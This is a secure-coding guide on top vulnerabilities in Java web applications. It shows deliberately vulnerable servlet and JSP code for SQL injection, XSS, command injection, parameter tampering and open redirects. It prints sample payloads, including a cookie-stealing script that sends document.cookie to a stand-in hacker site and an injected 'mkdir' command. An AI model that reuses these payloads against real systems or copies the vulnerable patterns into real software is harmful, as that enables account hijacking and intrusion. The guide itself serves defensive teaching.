Top Vulnerabilities in Java Web Applications

SQL Injections: Occurs when untrusted data is used to construct dynamic SQL statements using string concatenation. Consider the following example
Dynamic SQL Concatenation
```
public void doGet(HttpServletRequest request, HttpServletResponse response)
{

    try {
      //Retrieve the "userName" parameter from the GET request
      String userName = request.getParameter("username");
   
      //Perform an SQL query for the roles associated with the given "username"
      String result = doQuery("SELECT roles FROM userroles WHERE username = '" + userName +"'");

      response.getOutputStream().print(result);
    }
}
```
If an attacker manipulated username and entered: "' or '1'='1". The query would read (attacker's payload in red
SELECT roles FROM userroles WHERE username ='' or '1'='1'
This query would give the attacker all the roles possible. There are several forms of SQL injections like blind SQL injection and others. They all share the main idea of using user-controllable data to construct SQL statements.
Cross-site Scripting: occurs when the application uses untrusted data to build HTML back to the browser. An attacker could use this vulnerability to inject malicious script into user's browser, possibly gaining full control over the user browsers.
Consider the following example:
```
<html>
<head>
<title>Reflected Cross-site Scripting Example</title>
</head>
<body>
   <div>The following error occurred:</div>
   <div><%=request.getParameter("msg")%></div>
</body>
</html>
```
If an attacker sent a link to victim as follows (attacker's payload in red): www.vulnerableapp.com/vulnerablefile.jsp?msg=<script>document.write("<img+src='www.hackersite.com?id='"%2bdocument.cookie%2b"'>")</script>
If the user clicked on that link, their cookie will be transmitted to the attacker, which they can use to hijack the victim's account. Another more dangerous version of this attack, called persistent cross-site scripting, is where the payload actually is persistent in the database and uses could get infected by simply browsing to the page that serve's the attacker's payload. Check the UI Framework Reference Guide for more information on how to prevent XSS.

Parameter Tampering: occurs when the application does nor perform user entitlement checks before retrieving the user's records from the data store (e.g. database). Consider the following example:

protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
  try
  {
     int id = Integer.parseInt(request.getParameter("recordID"));
     String selectStatement = "SELECT account_balance FROM user_data WHERE recordID = ? ";
     PreparedStatement prepStmt = con.prepareStatement(selectStatement);
     prepStmt.setInt(1, id);
     ResultSet rs = prepStmt.executeQuery();
   }
   catch(SQLException ex)
   {
     logger.error(ex); 
    }
}

Now, an attacker could retrieve any record by simply iterating through the "recordID" parameter.

Command Injection: Occurs when the application uses untrusted data (e.g. data retrieved from the request) in constructing and executing system commands.
```
protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {

    String filename = request.getParameter("filename");
    Process result = Runtime.getRuntime().exec("ziputility.exe " + filename);
}
```
Now, an attacker could supply the following (attacker's payload in red): www.vulnerableapp.com?filename=test.doc;mkdir+hacked
This will end the application's command: "ziputility.exe test.com" and will start another command which the attacker has full control over.
Cross-site Request Forgery: occurs when the victim's browser is forced to send unintentional requests, as the victims browsers to the attacker's website. The following image explains CSRF briefly

CSRF attacks are usually combined with other attacks (usually cross-site scripting) to automate the attack. An example of how a combination of Cross-site Scripting and Cross-site Request Forgery can be found here. This is a worm that hit Twitter in 2009 and infected tens of thousands of accounts in a matter of hours.
Weak Authentication: this could happen through various ways. The following is just a sample of how weak authentication could happen:
1. Accounts configured using weak passwords.
2. Weak reset/change password mechanisms.
3. No authentication is configured for certain requests.
4. Session identifiers that are could be easily guessed.
5. Authentication process over unencrypted channel (i.e. HTTP)
Weak Authorization:
1. Failure to check user's roles on every request.
2. Relying on client-side authorization checks only.
3. Saving user's entitlements on the client.
4. Failure to check record-based user's entitlements.
Insecure File Upload\Download:
1. Failure to sanitize uploaded file names.
2. Failure to restricting uploaded file extensions.
3. Files are uploaded to a remotely accessible location.
4. Downloaded files' name/path use data retrieved from the request.
5. Failure to set appropriate response headers.
Invalidated Redirects: This attack happens when the application uses data retrieved from the request for redirect/forward operations. There are two main variations:
1. 1. Open-redirects: this is basically the application using the tainted data to construct the full URL to forward to: e.g. response.redirect(request.getParameter("redirectTo")). This could be used in phishing and spamming attacks as well as account hijacking attacks.
  2. HTTP Response Splitting attacks: where the the tainted data is used to construct only part of the URL: e.g. response.redirect("/myurl/" + request.getParameter("redirectTo")). An attacker can use this to send back to the browsers two responses by adding a CR/LF combination. The second response could be used for cross-site scripting or for cache poisoning attacks.